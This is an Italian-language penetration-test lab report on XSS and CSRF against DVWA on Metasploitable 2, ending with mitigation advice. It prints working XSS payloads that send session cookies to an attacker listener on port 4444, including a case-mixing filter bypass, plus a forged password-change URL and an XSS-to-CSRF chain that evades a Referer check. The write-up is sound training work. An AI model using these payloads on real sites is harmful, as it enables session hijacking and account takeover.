# Vulnerability Assessment & Penetration Test – XSS & CSRF

**Oggetto:** Analisi della sicurezza Web Application (DVWA) – Vulnerabilità Cross-Site Scripting (XSS) e Cross-Site Request Forgery (CSRF)

**Autori:** datashields

## Sintesi

Il presente documento documenta l'attività di laboratorio svolta per analizzare la sicurezza dell'applicazione web DVWA ospitata su macchina **Metasploitable 2**. È stato condotto un ***Vulnerability Assessment*** e un successivo ***Penetration Test*** focalizzato sulle vulnerabilità *client-side*, specificamente ***Cross-Site Scripting (XSS)*** e ***Cross-Site Request Forgery (CSRF)***. L'attività è stata eseguita su due livelli di difficoltà (Low e Medium) e ha avuto esito positivo, permettendo l'esfiltrazione dei ***cookie di sessione*** (*Session Hijacking*) tramite XSS e il ***cambio*** non autorizzato ***delle credenziali*** di accesso tramite CSRF.

## Scopo del test e analisi dello scenario

### Scenario e Obiettivi

L'attività si svolge in un ambiente controllato costituito da due macchine virtuali attestate sulla stessa sottorete locale.

- **Attacker:** Kali Linux (**192.168.104.100**), utilizzata per l'analisi, l'attacco e come server di ascolto per i dati esfiltrati.
- **Target:** Metasploitable 2 (**192.168.104.150**), ospitante l'applicazione vulnerabile DVWA.
- **Focus delle vulnerabilità:**
    - **XSS (Stored/Reflected):** Iniezione di codice **JavaScript** per furto di sessione.
    - **CSRF:** Esecuzione di azioni non intenzionali (cambio password) per conto della vittima.

**Strumenti Utilizzati**

- **Burp Suite (Community Edition):** Utilizzato per intercettare le richieste, analizzare i parametri vulnerabili e modificare gli header HTTP (es. Referer).
- **Firefox Browser:** Utilizzato per l'interazione con l'interfaccia web e la verifica dell'esecuzione dei payload.
- **Netcat / Python Web Server:** Utilizzato sulla macchina attaccante (**porta 4444**) per ricevere le connessioni in entrata contenenti i cookie esfiltrati.

---

# Svolgimento: Cross-Site Scripting (XSS)

## Livello Low (Basic Exploitation)

### Analisi

Nel livello "Low", l'applicazione (sezione XSS Stored/Reflected) accetta input dall'utente (es. nel Guestbook o in un campo nome) e lo riflette nella pagina HTML senza alcuna codifica o sanitizzazione.

### Exploitation

- **Verifica Vulnerabilità:** L'inserimento di tag HTML semplici come <h1>test</h1> o <script>alert(1)</script> viene interpretato dal browser, confermando l'esecuzione di codice arbitrario.
- **Setup Listener:** Sulla macchina Kali è stato avviato un listener sulla porta richiesta: $ nc -nlvp 4444 (o script Python equivalente).
- **Cookie Stealing:** È stato iniettato un payload JavaScript progettato per inviare il cookie della vittima (document.cookie) al server dell'attaccante.

**Payload Iniettato:**

<script>window.location='http://192.168.104.100:4444/?cookie='+document.cookie</script>

- **Risultato:** Non appena la pagina viene caricata, il browser esegue lo script ed effettua una richiesta GET verso l'IP dell'attaccante. Il listener sulla porta 4444 riceve il PHPSESSID.

*(Figura 1: Netcat in ascolto che riceve la stringa del cookie)*

## Livello Medium (Bypass & Sanitization)

### Analisi e Hardening Rilevato

Nel livello "Medium", lo script lato server implementa una sanitizzazione di base utilizzando la funzione str_replace() che cerca e rimuove il tag specifico <script>.

**Bypass e Exploitation** L'analisi ha rivelato che il filtro è case-sensitive (sensibile alle maiuscole/minuscole) o non ricorsivo. Questo permette tecniche di evasione elementari.

- **Case Manipulation:** Il filtro cerca <script> ma non blocca varianti con lettere maiuscole.
- **Payload Finale:**

<ScRiPt>window.location='http://192.168.104.100:4444/?cookie='+document.cookie</ScRiPt>

Alternativamente (se il filtro fosse non ricorsivo): <scr<script>ipt>...

*(Figura 2: Inserimento del payload offuscato nel Guestbook)*

L'attacco ha avuto successo, permettendo nuovamente l'esfiltrazione del cookie di sessione sul server in ascolto a 192.168.104.100.

---

# Svolgimento: Cross-Site Request Forgery (CSRF)

## Livello Low (No Token Validation)

### Analisi

Il modulo di cambio password invia i parametri (nuova password e conferma) tramite una richiesta HTTP GET. Non sono presenti token anti-CSRF né richieste di conferma della vecchia password.

### Exploitation

È stato creato un URL malevolo che, se visitato da un utente autenticato, cambia automaticamente la password.

- **URL Costruito:** http://192.168.104.150/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change
- **Delivery:** L'attaccante può inviare questo link alla vittima (Social Engineering) o nasconderlo in un tag immagine (es. <img src="URL_MALEVOLO">) all'interno di una pagina controllata.
- **Risultato:** Al click o al caricamento dell'immagine, la password dell'utente viene modificata in "hacked" senza alcuna interazione visibile.

*(Figura 3: Richiesta GET intercettata in Burp Suite)*

## Livello Medium (Referer Check)

### Analisi e Hardening Rilevato

Nel livello "Medium", l'applicazione verifica l'header HTTP Referer. La richiesta di cambio password viene accettata solo se proviene dallo stesso dominio dell'applicazione (192.168.104.150), bloccando le richieste generate da pagine esterne o script locali dell'attaccante.

### Bypass e Exploitation (Chaining Attacks)

Per aggirare il controllo del Referer, è necessario che la richiesta parta dal dominio fidato stesso. Questo è stato reso possibile concatenando la vulnerabilità XSS precedentemente individuata.

- **Tecnica:** Invece di ospitare lo script di attacco su un server esterno, il codice JavaScript che esegue la richiesta CSRF è stato iniettato tramite la vulnerabilità XSS Stored (nel Guestbook o Name field).
- **Esecuzione:** Poiché lo script XSS viene eseguito *dentro* la pagina vulnerabile (sul dominio 192.168.104.150), il browser popola l'header Referer con l'indirizzo legittimo, bypassando il controllo.

*(Figura 4: Payload XSS che innesca la richiesta CSRF bypassando il controllo Referer)*

---

# Post-Exploitation (Session Hijacking)

Una volta ottenuto il PHPSESSID tramite l'attacco XSS, è stato possibile impersonare l'utente vittima senza conoscere le credenziali.

- **Cookie Esfiltrato:** PHPSESSID=a1b2c3d4... (ricevuto su porta 4444).
- **Impersonation:** Utilizzando gli strumenti di sviluppo del browser (o un plugin di cookie editing), il cookie di sessione dell'attaccante è stato sostituito con quello esfiltrato.
- **Risultato:** Al refresh della pagina, l'attaccante ha ottenuto l'accesso completo all'account della vittima.

*(Figura 5: Accesso riuscito come Admin senza inserimento password)*

---

# Conclusioni e Mitigazione

L'attività ha evidenziato come la mancanza di controlli sull'input (per XSS) e l'assenza di token di validazione (per CSRF) espongano gli utenti a rischi critici come il furto di identità e modifiche non autorizzate dell'account. Si raccomandano le seguenti azioni di mitigazione:

- **Per XSS (Cross-Site Scripting):**
    - **Output Encoding:** Convertire i caratteri speciali in entità HTML (es. < diventa <) prima di renderizzarli nel browser.
    - **Content Security Policy (CSP):** Implementare header HTTP che limitano le sorgenti da cui possono essere caricati ed eseguiti script (es. vietare inline-script).
    - **HttpOnly Flag:** Impostare il flag HttpOnly sui cookie di sessione per impedirne l'accesso tramite JavaScript (document.cookie), mitigando il rischio di furto sessione.
- **Per CSRF (Cross-Site Request Forgery):**
    - **Anti-CSRF Tokens:** Implementare token crittografici univoci e imprevedibili (Synchronizer Token Pattern) per ogni sessione/form, che devono essere validati dal server ad ogni richiesta di stato.
    - **SameSite Cookie Attribute:** Impostare l'attributo SameSite=Strict o Lax sui cookie per impedire al browser di inviarli in richieste cross-site.
    - **Richiesta Vecchia Password:** Richiedere l'inserimento della password attuale prima di permettere modifiche sensibili (cambio password/email).